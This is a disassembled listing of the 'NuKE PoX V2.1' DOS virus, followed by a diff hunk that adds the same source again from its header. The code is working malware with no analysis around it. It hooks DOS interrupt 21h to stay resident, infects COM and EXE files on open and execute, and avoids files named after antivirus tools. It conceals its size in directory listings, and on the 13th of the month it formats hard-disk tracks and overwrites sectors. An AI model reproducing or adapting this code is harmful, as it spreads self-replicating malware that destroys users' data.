cmp bx,0ABDCh
je loc_6 ; Jump if equal
push cs
pop ds
mov cx,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_10+2[bp],es
mov cs:data_10[bp],bx
dec cx
mov es,cx
mov bx,es:data_2e
mov dx,696h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_6 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jc loc_6 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_33e,cx
sub ax,0Fh
mov di,data_32e
mov es,ax
mov si,bp
add si,103h
mov cx,696h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_65 ;*
db 0BAh, 8Eh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_6:
push cs
pop ds
cmp cs:data_21[bp],5A4Dh
je loc_7 ; Jump if equal
mov bx,offset data_21
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
inc bx
inc bx
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
db 'Death to Separatist'
db 0
loc_7:
mov bx,word ptr cs:data_12[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_14[bp]
add dx,cs:data_16[bp]
mov bx,cs:data_13[bp]
mov word ptr cs:[236h][bp],bx
mov word ptr cs:[238h][bp],ax
mov ax,cs:data_13[bp]
mov word ptr cs:[22Ch][bp],dx
mov word ptr cs:[232h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
loc_8:
call sub_2
test al,al
jnz loc_ret_15 ; Jump if not zero
push ax
push bx
push es
mov ah,51h ; 'Q'
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_14 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_13 ; Jump if not zero
add bx,7
loc_13:
mov ax,es:[bx+17h]
and ax,1Fh
cmp al,1Eh
jne loc_14 ; Jump if not equal
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],696h
sbb word ptr es:[bx+1Fh],0
loc_14:
pop es
pop bx
pop ax
loc_ret_15:
iret ; Interrupt return
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pushf ; Push flags
call dword ptr cs:data_10
retn
sub_2 endp
db 0EBh,0B0h
data_10 dw 0, 0 ; Data table (indexed access)
db 80h,0FCh, 11h, 74h,0F5h, 80h
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
db 74h, 12h, 80h,0FCh, 3Eh, 74h
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
db 8Bh,0D8h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
jmp dword ptr cs:data_10
db 0CBh
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
db 51h, 52h, 1Eh,0E8h, 00h, 03h
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
db 00h, 43h,0E8h,0A0h,0FFh, 72h
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
db 80h,0E1h,0FEh,0B8h, 01h, 43h
db 0E8h, 90h,0FFh
db 72h, 66h
loc_21:
mov ax,3D02h
call sub_2
loc_22:
jc loc_24 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_24 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_23 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_23 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_25 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_24 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_23:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_24:
pop ds
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt return
loc_25:
call sub_15
jc loc_24 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_23
sub_3 endp
data_12 db 0, 0 ; Data table (indexed access)
data_13 dw 0 ; Data table (indexed access)
data_14 dw 0 ; Data table (indexed access)
data_15 dw 0
data_16 dw 0 ; Data table (indexed access)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
call sub_8
jnc loc_26 ; Jump if carry=0
call sub_9
jnc loc_26 ; Jump if carry=0
retn
loc_26:
push ax
mov ax,3D02h
call sub_2
jnc loc_27 ; Jump if carry=0
pop ax
iret ; Interrupt return
loc_27:
push bx
push cx
push dx
push ds
mov bx,ax
call sub_12
jnz loc_28 ; Jump if not zero
call sub_17
loc_28:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
cmp bx,0
je loc_ret_29 ; Jump if equal
cmp bx,5
ja loc_30 ; Jump if above
loc_ret_29:
retn
loc_30:
push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2Fh ; DOS Internal services
;* undocumented function
mov ax,1216h
mov bl,es:[di]
int 2Fh ; DOS Internal services
;* undocumented function
pop bx
add di,11h
mov byte ptr es:[di-0Fh],2
add di,17h
cmp word ptr es:[di],4F43h
jne loc_31 ; Jump if not equal
cmp byte ptr es:[di+2],4Dh ; 'M'
jne loc_34 ; Jump if not equal
jmp short loc_35
db 90h
loc_31:
cmp word ptr es:[di],5845h
jne loc_34 ; Jump if not equal
cmp byte ptr es:[di+2],45h ; 'E'
jne loc_34 ; Jump if not equal
cmp word ptr es:[di-8],4353h
jne loc_32 ; Jump if not equal
cmp word ptr es:[di-6],4E41h
je loc_34 ; Jump if equal
loc_32:
cmp word ptr es:[di-8],2D46h
jne loc_33 ; Jump if not equal
cmp word ptr es:[di-6],5250h
je loc_34 ; Jump if equal
loc_33:
cmp word ptr es:[di-8],4C43h
jne loc_35 ; Jump if not equal
cmp word ptr es:[di-6],4145h
jne loc_35 ; Jump if not equal
loc_34:
jmp short loc_37
db 90h
loc_35:
call sub_12
jz loc_37 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_36 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_36 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_38 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_36 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_36:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
loc_37:
pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
retn
loc_38:
call sub_15
jc loc_36 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_36
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,696h
call sub_2
jc loc_39 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_39 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_39:
stc ; Set carry flag
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push bx
push cx
push dx
push ds
mov ax,4300h
call sub_2
test cl,1
jz loc_40 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_41 ; Jump if carry Set
loc_40:
mov ax,3D02h
call sub_2
jc loc_41 ; Jump if carry Set
mov bx,ax
call sub_12
jnz loc_41 ; Jump if not zero
call sub_17
loc_41:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_42:
cmp byte ptr [si],2Eh ; '.'
je loc_43 ; Jump if equal
inc si
loop locloop_42 ; Loop if cx > 0
loc_43:
cmp word ptr [si+1],4F43h
jne loc_44 ; Jump if not equal
cmp byte ptr [si+3],4Dh ; 'M'
je loc_46 ; Jump if equal
loc_44:
cmp word ptr [si+1],6F63h
jne loc_45 ; Jump if not equal
cmp byte ptr [si+3],6Dh ; 'm'
je loc_46 ; Jump if equal
loc_45:
pop cx
pop si
stc ; Set carry flag
retn
loc_46:
pop cx
pop si
clc ; Clear carry flag
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_47:
cmp byte ptr [si],2Eh ; '.'
je loc_48 ; Jump if equal
inc si
loop locloop_47 ; Loop if cx > 0
loc_48:
cmp word ptr [si+1],5845h
jne loc_49 ; Jump if not equal
cmp byte ptr [si+3],45h ; 'E'
je loc_51 ; Jump if equal
loc_49:
cmp word ptr [si+1],7865h
jne loc_50 ; Jump if not equal
cmp byte ptr [si+3],65h ; 'e'
je loc_51 ; Jump if equal
loc_50:
pop cx
pop si
stc ; Set carry flag
retn
loc_51:
pop cx
pop si
clc ; Clear carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
xchg ax,bx
mov cl,4
shr bx,cl ; Shift w/zeros fill
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_52:
cmp byte ptr [si],2Eh ; '.'
je loc_53 ; Jump if equal
inc si
loop locloop_52 ; Loop if cx > 0
loc_53:
cmp word ptr [si-2],4E41h
jne loc_54 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_57 ; Jump if equal
loc_54:
cmp word ptr [si-2],4E41h
jne loc_55 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_57 ; Jump if equal
loc_55:
cmp word ptr [si-2],544Fh
jne loc_56 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_57 ; Jump if equal
loc_56:
pop cx
pop si
clc ; Clear carry flag
retn
loc_57:
pop cx
pop si
stc ; Set carry flag
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
mov ax,5700h
call sub_2
mov al,cl
or cl,1Fh
dec cx
xor al,cl
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_58 ; Jump if zero
inc dx
loc_58:
pop cx
pop bx
mov cs:data_22,ax
mov cs:data_24,dx
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
call sub_2
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
pushf ; Push flags
push ax
push bx
push cx
push dx
push ds
push es
push ss
push sp
push cs
pop ds
mov dx,74Bh
mov ax,4300h
call sub_2
jc loc_60 ; Jump if carry Set
test cl,1
jz loc_59 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_62 ; Jump if carry Set
loc_59:
mov ax,3D02h
call sub_2
loc_60:
jc loc_62 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_62 ; Jump if zero
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,3
mov dx,77Eh
call sub_2
jc loc_61 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_62 ; Jump if carry Set
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_62 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_61:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_62:
pop sp
pop ss
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,cs:data_28
mov cs:data_13,cx
mov cx,cs:data_29
mov cs:data_14,cx
mov cx,cs:data_27
mov cs:data_15,cx
mov cx,cs:data_26
mov cs:data_16,cx
push ax
push dx
call sub_10
sub dx,cs:data_25
mov word ptr cs:data_12,dx
push ax
push dx
call sub_6
pop dx
pop ax
mov cs:data_29,dx
mov cs:data_28,ax
pop dx
pop ax
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
add ax,696h
adc dx,0
push ax
push dx
call sub_10
sub dx,cs:data_25
add ax,40h
mov cs:data_26,dx
mov cs:data_27,ax
pop dx
pop ax
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
dec cx
mov cs:data_18,cx
mov cs:data_19,dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh
sbb cx,0
mov ax,4200h
call sub_2
push cs
pop ds
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
call sub_2
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
cmp cs:data_21,5A4Dh
je loc_64 ; Jump if equal
mov cx,3
loc_64:
call sub_2
pop dx
pop cx
sub dx,696h
sbb cx,0
mov ax,4200h
call sub_2
mov ah,40h ; '@'
xor cx,cx ; Zero register
call sub_2
mov cx,cs:data_18
mov dx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
call sub_2
retn
sub_17 endp
db 'C:\COMMAND.COM'
db 0
data_18 dw 0
data_19 dw 0
db 00h, 00h,0E9h
data_20 dw 9090h
db 'NuKE PoX V2.1 - Rock Steady'
data_21 dw 0CD90h ; Data table (indexed access)
data_22 dw 20h
data_24 dw 0
db 0, 0
data_25 dw 0
db 0, 0, 0, 0
data_26 dw 0
data_27 dw 0
db 0, 0
data_28 dw 0
data_29 dw 0
db 0, 0, 0
seg_a ends
end start
@@ -0,0 +1,941 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NPOX21 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 28-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 16h
data_2e equ 3 ;*
data_32e equ 103h ;*
data_33e equ 1 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
npox21 proc far
start:
jmp short $+3 ; delay for I/O
nop
call sub_1
npox21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,0Dh
je loc_2 ; Jump if equal
jmp short loc_5
db 90h
loc_2:
mov ch,0
locloop_3:
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
jc loc_4 ; Jump if carry Set
cmp ch,10h
loopnz locloop_3 ; Loop if zf=0, cx>0
loc_4:
mov al,2
mov cx,20h
mov dx,0
int 26h ; Absolute disk write, drive al
; if disk under 32MB, dx=start
; cx=#sectors, ds:bx=buffer
; else cx=-1, ds:dx=parm block
;* jmp far ptr loc_66 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
loc_5:
mov ax,0ABDCh
int 21h ; ??INT Non-standard interrupt
cmp bx,0ABDCh
je loc_6 ; Jump if equal
push cs
pop ds
mov cx,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_10+2[bp],es
mov cs:data_10[bp],bx
dec cx
mov es,cx
mov bx,es:data_2e
mov dx,696h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_6 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jc loc_6 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_33e,cx
sub ax,0Fh
mov di,data_32e
mov es,ax
mov si,bp
add si,103h
mov cx,696h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_65 ;*
db 0BAh, 8Eh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_6:
push cs
pop ds
cmp cs:data_21[bp],5A4Dh
je loc_7 ; Jump if equal
mov bx,offset data_21
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
inc bx
inc bx
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
db 'Death to Separatist'
db 0
loc_7:
mov bx,word ptr cs:data_12[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_14[bp]
add dx,cs:data_16[bp]
mov bx,cs:data_13[bp]
mov word ptr cs:[236h][bp],bx
mov word ptr cs:[238h][bp],ax
mov ax,cs:data_13[bp]
mov word ptr cs:[22Ch][bp],dx
mov word ptr cs:[232h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
loc_8:
call sub_2
test al,al
jnz loc_ret_15 ; Jump if not zero
push ax
push bx
push es
mov ah,51h ; 'Q'
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_14 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_13 ; Jump if not zero
add bx,7
loc_13:
mov ax,es:[bx+17h]
and ax,1Fh
cmp al,1Eh
jne loc_14 ; Jump if not equal
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],696h
sbb word ptr es:[bx+1Fh],0
loc_14:
pop es
pop bx
pop ax
loc_ret_15:
iret ; Interrupt return
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pushf ; Push flags
call dword ptr cs:data_10
retn
sub_2 endp
db 0EBh,0B0h
data_10 dw 0, 0 ; Data table (indexed access)
db 80h,0FCh, 11h, 74h,0F5h, 80h
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
db 74h, 12h, 80h,0FCh, 3Eh, 74h
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
db 8Bh,0D8h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
jmp dword ptr cs:data_10
db 0CBh
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
